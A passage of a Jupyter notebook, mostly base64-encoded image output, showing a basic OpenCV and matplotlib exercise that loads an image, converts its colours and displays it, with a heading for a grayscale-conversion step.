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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "img = cv2.imread('test.jpg')\n", - "rgb_img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(rgb_imgb_img);\n", - "plt.show()\n", - "# cv2.imshow(\"test\",img)\n", - "# cv2.waitKey(0)" - ] - }, - { - "cell_type": "markdown", - "id": "c830a352", - "metadata": {}, - "source": [ - "### Converting image to Gray color" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "id": "b4aadaf7", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 15, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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